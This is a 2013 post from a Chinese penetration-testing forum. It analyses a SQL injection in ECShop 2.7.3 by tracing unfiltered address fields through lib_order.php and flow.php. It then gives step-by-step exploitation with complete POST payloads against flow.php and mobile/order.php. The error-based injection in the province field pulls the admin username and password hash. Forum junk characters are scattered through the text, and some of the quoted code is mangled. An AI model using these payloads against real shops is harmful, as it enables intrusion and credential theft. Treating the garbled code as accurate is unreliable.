中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
0 f# U0 O" W( n+ H9 j9 j$ f
( L$ o, D+ ?3 [/ ^/ h2 m# Q    漏洞关键文件:
, Y4 O  ^( l8 B2 ~6 W2 k( d# ^
' G4 b: @3 ^# y    /includes/lib_order.php6 j! {' j/ N0 X2 _9 Y' @
6 V& y8 E: u: ]% j$ l0 [
    关键函数:5 s6 x5 J9 R! k# [

; O; P  o- I* `" G/ V# a
; ~' R- y& W: ~
( b9 k7 C2 a# k) P% C5 F01     function available_shipping_list($region_id_list)
" e4 u) E) n& j* o, Z( R0 E
: l: w. ]  n3 w7 b8 u$ w" |( k, N02 {
1 n: y* Z/ O2 r0 C* {) |' k5 ?  A6 L& A0 g: {
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
$ t$ f; P# ?9 v# T3 J) K
% t& f$ A/ b0 J$ b04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 1 d: s  O4 c# E2 R

) p6 k7 r+ t; c* I05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * g% z% ~; N7 }) J4 W: N

2 q1 w" N2 s" o9 v0 x06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * a. I) z# \# \7 T
8 k% m+ F9 h4 \* N
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ; j# k1 U, f( o+ d1 B

; o; s- ^2 O5 u, C08             'WHERE r.region_id ' . db_create_in($region_id_list) .
9 {0 K, W. \! S1 w/ J0 s' M6 @9 [) Q% ~) Q3 w) {% V1 w% X
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 A0 |! |2 \% X" m
& Q9 X2 ?1 \/ M9 C4 I- n( `; p10   - c' v1 B2 f. _# L# _1 \& r
9 E# g! \1 r* a- A
11     return $GLOBALS['db']->getAll($sql); 2 V) k; c. j9 u, f
. i% ?6 R7 r% {2 O7 k1 R( h& j* S
12 } 1 p  s1 t0 e' a
6 S+ N! i1 ]* ]- D& f
显然对传入的参数没有任何过滤就带入了查询语句。" @" w2 O4 T; R# r
3 \- }: k* o8 r7 ~9 l
下面我们追踪这个函数在flow.php中:- e4 [9 N8 E) Z  P; s
第531行:   ' V* r0 J/ `) R
* W3 m2 t* l* I3 j- {6 w. t; ^' e
1 $shipping_list     = available_shipping_list($region);
" O3 V' |) P, K* A% _' `4 e4 w+ }7 j7 d. N
9 m) Y, {8 q4 y, ~
. }+ Q8 }) i( Z3 ?
- W% M/ N* b8 c; K! C
0 c5 w3 `2 U0 s0 _, j" T
再对传入变量进行追踪:
7 v+ n3 \3 j6 x1 v
2 A0 e: M+ r7 m" y1 F第530行:   
# x# B/ D3 }" I3 u4 f( J5 ]8 ~$ W0 Y- z+ M# t* l
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ T. `/ o8 `% {* m/ _1 r; o% s8 P3 w' ]7 c1 o! A+ e. y) Y4 v
% f0 c: m9 c: C  p

4 T! r! k! q' Q, b 0 U# c6 A2 l% s) l$ D! o; `& |

) {& X- R; t, P3 {, k第473行:        6 u! o" {# F, F8 G" K- ?  l

2 b9 U7 F& a/ I# S7 e# m/ C1 $consignee = get_consignee($_SESSION['user_id']);
- _+ R- C% x- B& N, `' a( j+ ^5 g/ b  c/ |; H* h2 ?1 X
到了一个关键函数:# {8 K, d7 j" f
' t0 p) h8 H% B! z: ?
/includes/lib_order.php
8 @0 v; e& A% P0 f3 D1 q5 h  ~3 t+ n
% c( Y1 k; A, g& m- T& L. c* ^* [
8 r" Q. @* r3 r* e6 @' K5 t9 @
1 `2 K# ^) m2 N1 u( }
& d+ D6 _% t, b( e" S9 K3 ?+ G* k0 p! V# P0 T$ J
01 function get_consignee($user_id) 5 I: w0 z! X) x/ C! m& w5 ~# @
7 ^* x4 V, W* H
02 { 8 ]" w9 v/ u2 d0 D" l! Y9 c9 M

2 K  \& e& F* O/ S03     if (isset($_SESSION['flow_consignee']))
5 O2 H& i+ b3 j* \) D) V5 W* p( r* }) ?9 |
04     { , X9 T0 v: B0 L" g
/ U/ S" |: D# b( B. q
05         /* 如果存在session,则直接返回session中的收货人信息 */   _( j& m% o7 E

9 v( E4 {+ G+ U06   % ~) s1 X6 N/ H7 v: S$ m9 ~

) D& ^' @3 E, U7 b/ S07         return $_SESSION['flow_consignee']; 1 x& f; H! o6 b4 ^3 C' z5 a/ Z0 c) T

. E6 X8 _1 U) R. f4 D08     } 2 H1 |. r7 ~; ]# A- O

; d! x3 `# k7 a6 r$ \, Y  K09     else
& i# y) u% U5 v# m  H1 e& U0 y. [0 s1 R
10     { * y" X9 o8 J, F. H7 n; g: C

& j7 Y: K+ A" X  L+ p0 z5 K11         /* 如果不存在,则取得用户的默认收货人信息 */   M9 [6 p& |3 p! K
/ o, c- b, L2 H: z# Y2 i8 M
12         $arr = array(); $ E6 M7 T* I' Q
* w9 r, e/ H; H
13   4 @  N) {! Z) \, ?- ?

& B; R2 l! p: g  @/ I, i3 z14         if ($user_id > 0)
6 I5 |& x: u" O, k, b  A: \
2 }# m4 G' \' D" S15         { # j* @" F" p+ w, O, L, c# y7 u

5 t& f0 v* o6 t/ _1 s! y16             /* 取默认地址 */
8 `/ H8 j3 k- K' g
1 L" H0 C1 e+ P) o" V, _17             $sql = "SELECT ua.*".
' C- w1 f& x3 j+ O8 l" l5 K. v
2 T  d0 H# g! Z' t2 M18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; z2 R9 c" A' d' m
- X  e- f  ^0 S" ?
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; - e* f" B6 f; M
- l9 G7 j; a/ R3 ~
20   
0 K5 f6 c, L, b0 U( M' o. A+ y/ O# S- E, t1 r
21             $arr = $GLOBALS['db']->getRow($sql);
/ z. m6 e, [4 t4 t7 {  q
& C$ L4 j  _; i2 K* ~) i9 @22         }
2 T4 `/ }' L; f' x  K2 W3 J1 s/ K% t7 _8 X2 a
23   ; y2 F% f( Q0 h: R* Z' Z. `
" }3 X, o2 I5 l2 O+ @
24         return $arr; 9 a0 y. u9 Z6 C' D& P; f

5 k# i, A( R3 \0 K, n1 I  i8 F: I- S9 u25     } 0 V' {* d# Z  R. N  {& j( e% _

; T, L8 @8 J  ~. [9 v( L5 \! C4 _2 p26 }
6 c2 G9 e9 e) T6 z. Y* y5 P+ T5 f8 U6 I6 K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?  B! z- ]  W! ^/ g, ^2 p
) c8 n( t& O8 a, z' u* i
3 K# k1 e7 I/ F/ N; u
9 z0 r# W1 h8 }
关键点:
9 d- ]2 j+ T) r# M: T5 `( u8 ~4 K: o% M+ R& f. F: W9 L
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);2 u  S4 ?# ?" z3 H

& G* M; {; O! {6 g5 n) a: n, H这里对传入参数反转义存入$_SESSION中。; X! m# B, F, L( E2 ?! r; d

# k! P& ?- V7 Y7 a+ V+ ~& G4 x# c
- q9 q# u% F3 N
5 i- I5 g% Z: t( j' v然后看下:  k( R$ _6 {4 X7 J' y5 `/ f

2 `& H' `0 z6 g4 z+ A1 u : P/ P+ g2 ~1 \: R

% y; Y; t& A* ?. q5 ]6 W    & G7 i4 r' L% L) F
: b. O' S1 A, e8 f+ O
01 $consignee = array( 6 x: e5 O2 U* U; u

* \- T8 J: z; L) Z- Q02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
* Y- x, I* |4 B. g  ^, |. H0 d3 K: w7 D8 l, |! {
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 3 p, V+ p! v! E& o

# z1 j' b5 D% i: a7 S! g( }6 l04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 2 P/ M8 n$ E/ F" M

. c$ a% d) D# W+ Y2 a! h05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
- ~+ P1 u/ [& R6 \; m/ F* T1 _$ V+ q4 f9 F& O+ F* d/ T* I1 m
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
2 t; z' M8 T7 y" @' W1 M! U* M, ?, w/ z+ o' w
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], * r4 R- @$ j4 l4 \# H' X; B6 }1 B+ K2 r

& d. E8 N% l  b9 M  ?# F8 g+ `8 p08         'email'         => empty($_POST['email'])      ? '' _POST['email'], * ^: g9 V9 h" J$ R
6 s+ F( K5 M) `8 E$ M# E
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
' s2 T; k5 L" W1 ~
* N1 r& y( o( j% N. \# z10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
1 P+ P* }% p/ [# ]
& p% |/ G& T5 }2 S( G5 `11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), & Y# {' r7 B$ y/ b7 i

9 ?) W# L8 |" J" k5 w12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
1 J, ~* F9 w7 ~  q$ v  W) ~
/ _& z- K2 d  s* t. i1 _13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 x; w0 E/ H- f! r' u4 O* o  H% b1 b' Y% L8 q8 Q# z. y
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- c4 @3 `4 v& k% F3 u+ B+ s, x. `1 |2 D; z
15     );
  K: U5 l0 k, v, m" z  `* W5 |( A2 e% ^* R# L5 r
好了注入就这样出现了。
( H" w3 N5 q% O2 P# k+ H5 c9 k- L( {2 z: [
==================
2 Q6 f! r0 @; n
$ C) }: [+ m0 Q4 t: X' v6 L& h注入测试:2 _7 }6 j* h' ]% [8 [( j
. [& G9 |1 h1 _3 Y1 y
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); _! w+ _6 c$ H

/ B7 l  u- m# Z' O* T2 {测试程序:ECShop_V2.7.3_UTF8_release1106' G' @6 I% A- ~
0 \" W  A0 `" q1 Q' |, t# Q
7 U% I( k1 r9 |2 H! B% C# h9 X# R: ^3 M
  ]- m* o; r3 s3 l7 i
1.首先需要点击一个商品加入购物车7 U" n5 B5 L. n: t

0 D2 h2 Q. t5 F( Z2.注册一个会员帐号
( {% k# r6 g+ _8 U! Y6 {  I; ]9 j$ ~: N( }
3.post提交数据  q5 Y0 Q3 g, @$ l- Z! C- ]
( V' o3 x5 ^0 Z0 s/ R

& ?* k- y4 p" k0 m) o
# v7 F4 g% I( l# T* d& w  k" B1 http://127.0.0.1/ecshop/flow.php
3 v: h1 C6 K& u5 f$ A
8 v; P- O0 i; x! S+ K7 o* M2   
  ~0 u" [6 p! |5 J* Z9 Q4 }; f9 X" G* W. u7 s4 j+ ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= , n9 ^! s. c  S1 W: f8 v
举一反三,我们根据这个漏洞我们可以继续深入挖掘:8 x0 t4 c& y) P. H

; g! N7 j. h8 B/ j' b我们搜寻关键函数function available_shipping_list()
9 B+ a4 |, C) J& h; P- P" W* J8 |& S  W; m( m9 n' s
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同6 Q/ {6 V: ?, I6 ^& }- i6 A9 h
5 }; |0 F. L0 s+ W- S# D* a
利用exp:1 h) G2 F' T5 {1 j& K  p% z

2 j: S9 Y( p' s. E! u2 S+ a" I! b1.点击一个商品,点击购买商标& I$ r. ^8 N+ h9 Q& Z

5 ~3 u* b3 o7 i. G, }2.登录会员帐号* l8 ^$ m- `& g8 E: O% [7 d
. n% @; C. `6 D/ a& j- [6 i
3.post提交:
# R( q9 v# R4 O9 p
3 \+ M2 P/ s+ s# i. Z6 j6 Nhttp://127.0.0.1/ecshop/mobile/order.php
, h2 @" p- u1 c1 Q9 G
. I+ G) q. \  H$ z/ f , L6 y) T2 ~' w" g0 t

% a! u: ~3 q0 W1 G  I6 N, H  kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
" \" a  ]3 u8 r( R( Z8 a) M' p
& u' T+ _1 }1 W, R. z/ D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2